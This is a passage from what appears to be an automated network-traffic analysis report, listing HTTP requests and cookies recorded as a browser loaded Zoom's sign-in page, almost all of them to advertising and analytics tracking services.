C49%2C79%2C73%2C24%2C114 HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=20445;g=sitewide;gid=47912;ord=1308006852;ip=8.46.123.189;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_67d4b59b-1e8d-4100-b212-67b4f30b4a3a
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=1576;g=site-wide;gid=9041;ord=1837308645;ip=8.46.123.189;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_67d4b59b-1e8d-4100-b212-67b4f30b4a3a
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=1576;g=site-wide;gid=9041;ord=2034239667?gtmcb=1453764129;ip=8.46.123.189;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_67d4b59b-1e8d-4100-b212-67b4f30b4a3a
Source: global traffic	HTTP traffic detected: GET /r?tid=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0IjoxMDgzOX0.LSz4FYiDsjCaYCCySTzXCsafgDXfEr0gEbeGaMn7qtc HTTP/1.1Host: scout.salesloft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attribution_trigger?pid=1476716&time=1741993369691&url=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin HTTP/1.1Host: px.ads.linkedin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Sign%20In%20%7C%20Zoom&idsite=TV-7209362763-1&rec=1&r=366306&h=19&m=2&s=51&url=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&urlref=https%3A%2F%2Fdanse94.com%2F&_id=b9d7f0b2e7aa9eda&_idts=1741993371&_idvc=0&_idn=1&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=400 HTTP/1.1Host: collector-29673.us.tvsquared.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collect?v=2&fmt=js&pid=1476716&time=1741993369691&li_adsId=672e0618-ccf5-49dc-80ca-39d838ec8411&url=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&cookiesTest=true HTTP/1.1Host: px.ads.linkedin.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: li_sugr=6b210a4f-34b1-4f9c-9bf4-5f0680cee693; bcookie="v=2&5eb86965-0626-4734-87a2-c6d376db2c7e"; lidc="b=VGST03:s=V:r=V:a=V:p=V:g=3433:u=1:x=1:i=1741993372:t=1742079772:v=2:sig=AQEo0p5GgoXNu32nPT5hK-XnR10USqgB"
Source: global traffic	HTTP traffic detected: GET /p/?return=&cid=17910&tpsync=no&auth= HTTP/1.1Host: www.ojrq.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i HTTP/1.1Host: scout.salesloft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xch/36843/1531361/17910 HTTP/1.1Host: zoom.sjv.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: brwsr=75389ff5-0128-11f0-9e63-79482468d069; irld=LXg7wVPTL31nP1eMQbCw-ZWe5; irtps=1
Source: global traffic	HTTP traffic detected: GET /unified/v1/master/getSubscriptions HTTP/1.1Host: js.zi-scripts.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /formcomplete.js HTTP/1.1Host: ws-assets.zoominfo.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=18&expiry=1757890972&external_user_id=0b5a6432-5489-4c19-b155-757ad1337ee8 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?UIDM=0b5a6432-5489-4c19-b155-757ad1337ee8 HTTP/1.1Host: partners.tremorhub.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=20445;g=sitewide;gid=47912;ord=1308006852;ip=8.46.123.189;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_67d4b59b-1e8d-4100-b212-67b4f30b4a3a
Source: global traffic	HTTP traffic detected: GET /libs/analytics-browser-gtm-2.9.3-min.js.gz HTTP/1.1Host: cdn.amplitude.comConnection: keep-aliveOrigin: https://zoom.ussec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=1576;g=site-wide;gid=9041;ord=1837308645;ip=8.46.123.189;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_67d4b59b-1e8d-4100-b212-67b4f30b4a3a
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=1576;g=site-wide;gid=9041;ord=2034239667?gtmcb=1453764129;ip=8.46.123.189;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_67d4b59b-1e8d-4100-b212-67b4f30b4a3a
Source: global traffic	HTTP traffic detected: GET /pixel/646471568696bfecca709322/?iszitag=true HTTP/1.1Host: ws.zoominfo.comConnection: keep-alive_vtok: OC40Ni4xMjMuMTg5visited-url: https://zoom.us/signin#/loginsec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0_zitok: a3d27947185a7a66ae721741993372User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Content-Type: text/javascriptAccept: /Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://zoom.us/signinAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tap.php?nid=5578&put=0b5a6432-5489-4c19-b155-757ad1337ee8&v=1181926 HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pricing?irclickid=yg8R6d0wMxycR5rytU2hMVxJUks1L2RYU257TY0&irgwc=1&utm_source=&utm_medium=affiliate&zcid=&utm_campaign=Media%20Source%20Tracking%20Ad&utm_content= HTTP/1.1Host: zoom.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; _zm_cdn_blocked=unlog_unblk; _zm_fingerprint=d5140acb3fb35cc80ba236bdb3bf654d; cred=947A58DF12AAB1AD353B4C4807958C68; _gcl_au=1.1.535026956.1741993368; optimizelySession=1741993368502; OnetrustActiveGroups=C0004C0003C0002C0001; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Mar+14+2025+19%3A02%3A49+GMT-0400+(Eastern+Daylight+Time)&version=6.21.0&isIABGlobal=false&hosts=&consentId=c27e3fdb-4697-492f-8669-586bc41c9863&interactionCount=0&landingPath=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&groups=C0004%3A1%2CC0003%3A1%2CC0002%3A1%2CC0001%3A1; _yjsu_yjad=1741993371.8b0b14fb-2c18-4fa1-9f55-bd4a4327b6ff; slireg=https://scout.us1.salesloft.com; IR_gbd=zoom.us; IR_17910=1741993371241%7Cc-36843%7C1741993371241%7C%7C; _uetsid=7477a3c0012811f0a38a71c87b0a1b12; _uetvid=7477d170012811f09b7cc529f7ba3633; _tq_id.TV-7209362763-1.34c0=b9d7f0b2e7aa9eda.1741993371.0.1741993371..; sliguid=050d34cd-cb48-4f16-854b-cff518f8c88b; slirequested=true; _zm_tracking_guid=50f34aff30264ad7a90f14ac2386dd3a; _zitok=a3d27947185a7a66ae721741993372; IR_PI=75389ff5-0128-11f0-9e63-79482468d069%7C1741993371241
Source: global traffic	HTTP traffic detected: GET /px/li_sync?redirect=https%3A%2F%2Fpx.ads.linkedin.com%2Fcollect%3Fv%3D2%26fmt%3Djs%26pid%3D1476716%26time%3D1741993369691%26li_adsId%3D672e0618-ccf5-49dc-80ca-39d838ec8411%26url%3Dhttps%253A%252F%252Fzoom.us%252Fsignin%2523%252Flogin%26cookiesTest%3Dtrue%26liSync%3Dtrue HTTP/1.1Host: www.linkedin.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: li_sugr=6b210a4f-34b1-4f9c-9bf4-5f0680cee693; lidc="b=TGST03:s=T:r=T:a=T:p=T:g=3448:u=1:x=1:i=1741993373:t=1742079773:v=2:sig=AQGMlXvdpSGus2j5knqHQlgDlHyaFnCm"; UserMatchHistory=AQJBv6DnyPo8mQAAAZWW5W4aNFRXvymKS14L085zRQQfzU6ofrHUBVlVzgblw8egbtv7eRtZueOWOw; AnalyticsSyncHistory=AQKu-zxs2Iz46QAAAZWW5W4aN3pSY4VMtKmuA7h9msNs94zLpvbq8aWTkJJSxsEy1Occ9FMfeW2ACnbrM3ysRA; bcookie="v=2&5eb86965-0626-4734-87a2-c6d376db2c7e"
Source: global traffic	HTTP traffic detected: GET /p/?return=&cid=17910&tpsync=no&auth= HTTP/1.1Host: www.ojrq.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: brwsr=759edb13-0128-11f0-b432-cb8ab7992ba0
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Sign%20In%20%7C%20Zoom&idsite=TV-7209362763-1&rec=1&r=366306&h=19&m=2&s=51&url=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&urlref=https%3A%2F%2Fdanse94.com%2F&_id=b9d7f0b2e7aa9eda&_idts=1741993371&_idvc=0&_idn=1&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=400 HTTP/1.1Host: collector-29673.us.tvsquared.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/927508153/?random=1741993372760&cv=11&fst=1741993372760&bg=ffffff&guid=ON&async=1&gtm=45be53d0v880891040z871201097za201zb886803496&gcd=13l3l3l3l1l1&dma=0&tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719&u_w=1280&u_h=1024&url=https%3A%2F%2Fzoom.us%2Fsignin&ref=https%3A%2F%2Fdanse94.com%2F&label=1hQFCN-QqK4DELnNoroD&hn=www.googleadservices.com&frm=0&tiba=Sign%20In%20%7C%20Zoom&npa=0&pscdl=label_only_3&auid=535026956.1741993368&uaa=x86&uab=64&uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&_tu=Cg&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/927508153?random=1741993372760&cv=11&fst=1741993372760&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be53d0v880891040z871201097za201zb886803496&gcd=13l3l3l3l1l1&dma=0&tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719&u_w=1280&u_h=1024&url=https%3A%2F%2Fzoom.us%2Fsignin&ref=https%3A%2F%2Fdanse94.com%2F&label=1hQFCN-QqK4DELnNoroD&hn=www.googleadservices.com&frm=0&tiba=Sign%20In%20%7C%20Zoom&npa=0&pscdl=label_only_3&auid=535026956.1741993368&uaa=x86&uab=64&uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&_tu=Cg HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=4633436110010443&ev=PageView&dl=https%3A%2F%2Fzoom.us&rl=https%3A%2F%2Fdanse94.com&if=false&ts=1741993372838&sw=1280&sh=1024&v=2.9.187&r=stable&ec=0&o=12318&fbp=fb.1.1741993372822.542583113418791011&pm=1&hrl=93d060&ler=other&it=1741993369968&coo=false&dpo=LDU&dpoco=0&dpost=0&cs_cc=1&cs_cc=1&cas=25605033162476828%2C5910703695705685%2C6339461992733528%2C5281517978617108%2C5839664432782368%2C8645844098774424%2C4466317863437391&cas=25605033162476828%2C5910703695705685%2C6339461992733528%2C5281517978617108%2C5839664432782368%2C8645844098774424%2C4466317863437391&cdl=label_only_3&exp=k0&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=4633436110010443&ev=PageView&dl=https%3A%2F%2Fzoom.us&rl=https%3A%2F%2Fdanse94.com&if=false&ts=1741993372838&sw=1280&sh=1024&v=2.9.187&r=stable&ec=0&o=12318&fbp=fb.1.1741993372822.542583113418791011&pm=1&hrl=93d060&ler=other&it=1741993369968&coo=false&dpo=LDU&dpoco=0&dpost=0&cs_cc=1&cs_cc=1&cas=25605033162476828%2C5910703695705685%2C6339461992733528%2C5281517978617108%2C5839664432782368%2C8645844098774424%2C4466317863437391&cas=25605033162476828%2C5910703695705685%2C6339461992733528%2C5281517978617108%2C5839664432782368%2C8645844098774424%2C4466317863437391&cdl=label_only_3&exp=k0&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Attribution-Reporting-Eligible: trigger=navigation-source, event-sourceAttribution-Reporting-Support: web, not-osSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
